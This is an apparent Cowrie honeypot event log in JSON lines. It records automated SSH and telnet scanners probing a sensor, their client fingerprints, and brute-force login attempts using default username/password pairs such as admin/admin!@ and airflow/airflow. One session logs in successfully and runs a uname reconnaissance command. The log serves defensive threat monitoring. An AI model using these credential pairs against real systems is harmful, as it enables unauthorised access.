{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:24.537077Z","src_ip":"172.237.20.62","session":"b3dad2290d61","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:25.025331Z","src_ip":"172.237.20.62","session":"b3dad2290d61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:25.390616Z","src_ip":"172.237.20.62","session":"b3dad2290d61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:25.393909Z","src_ip":"172.237.20.62","session":"b3dad2290d61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:25.556397Z","src_ip":"172.237.20.62","session":"b3dad2290d61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:25.561702Z","src_ip":"172.237.20.62","session":"b3dad2290d61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57585,"dst_ip":"159.203.135.109","dst_port":22,"session":"963ab771a631","protocol":"ssh","message":"New connection: 89.144.211.139:57585 (159.203.135.109:22) [session: 963ab771a631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:26.470767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:26.475567Z","src_ip":"89.144.211.139","session":"963ab771a631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:26.604930Z","src_ip":"89.144.211.139","session":"963ab771a631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"1","message":"login attempt [testing/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:27.152558Z","src_ip":"89.144.211.139","session":"963ab771a631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:28.287213Z","src_ip":"89.144.211.139","session":"963ab771a631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34302,"dst_ip":"159.203.135.109","dst_port":22,"session":"382e78d9d9ea","protocol":"ssh","message":"New connection: 172.237.20.62:34302 (159.203.135.109:22) [session: 382e78d9d9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:35.262201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:35.345040Z","src_ip":"172.237.20.62","session":"382e78d9d9ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:35.506474Z","src_ip":"172.237.20.62","session":"382e78d9d9ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:35.991581Z","src_ip":"172.237.20.62","session":"382e78d9d9ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:37.184332Z","src_ip":"172.237.20.62","session":"382e78d9d9ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.510019063949585,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:45.878118Z","src_ip":"198.27.76.181","session":"d5c43835eb79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38600,"dst_ip":"159.203.135.109","dst_port":22,"session":"f45ec9627496","protocol":"ssh","message":"New connection: 172.237.20.62:38600 (159.203.135.109:22) [session: f45ec9627496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:46.276793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:46.283049Z","src_ip":"172.237.20.62","session":"f45ec9627496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:46.444714Z","src_ip":"172.237.20.62","session":"f45ec9627496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:46.929932Z","src_ip":"172.237.20.62","session":"f45ec9627496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:48.101274Z","src_ip":"172.237.20.62","session":"f45ec9627496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":50966,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd0540ca835d","protocol":"ssh","message":"New connection: 172.237.20.62:50966 (159.203.135.109:22) [session: cd0540ca835d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:57.287189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:57.292961Z","src_ip":"172.237.20.62","session":"cd0540ca835d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:57.455015Z","src_ip":"172.237.20.62","session":"cd0540ca835d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:58.139580Z","src_ip":"172.237.20.62","session":"cd0540ca835d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:54:59.306715Z","src_ip":"172.237.20.62","session":"cd0540ca835d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.227.195.140","src_port":5364,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f017b5e4f20","protocol":"telnet","message":"New connection: 177.227.195.140:5364 (10.17.0.5:23) [session: 9f017b5e4f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:05.342185Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":49776,"dst_ip":"159.203.135.109","dst_port":22,"session":"f14da701c2c3","protocol":"ssh","message":"New connection: 172.237.20.62:49776 (159.203.135.109:22) [session: f14da701c2c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:08.220508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:08.226448Z","src_ip":"172.237.20.62","session":"f14da701c2c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:08.390067Z","src_ip":"172.237.20.62","session":"f14da701c2c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:08.910175Z","src_ip":"172.237.20.62","session":"f14da701c2c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:10.074950Z","src_ip":"172.237.20.62","session":"f14da701c2c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.52157473564148,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:17.863626Z","src_ip":"177.227.195.140","session":"9f017b5e4f20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56936,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b1a3c447e56","protocol":"ssh","message":"New connection: 172.237.20.62:56936 (159.203.135.109:22) [session: 8b1a3c447e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:19.188278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:19.193290Z","src_ip":"172.237.20.62","session":"8b1a3c447e56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:19.383624Z","src_ip":"172.237.20.62","session":"8b1a3c447e56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:19.864441Z","src_ip":"172.237.20.62","session":"8b1a3c447e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:21.027526Z","src_ip":"172.237.20.62","session":"8b1a3c447e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":57587,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff82500c2141","protocol":"ssh","message":"New connection: 89.144.211.139:57587 (159.203.135.109:22) [session: ff82500c2141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:27.059944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:27.066635Z","src_ip":"89.144.211.139","session":"ff82500c2141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:27.207081Z","src_ip":"89.144.211.139","session":"ff82500c2141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"root","message":"login attempt [webadmin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:27.710036Z","src_ip":"89.144.211.139","session":"ff82500c2141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:55:28.850180Z","src_ip":"89.144.211.139","session":"ff82500c2141","protocol":"ssh"}
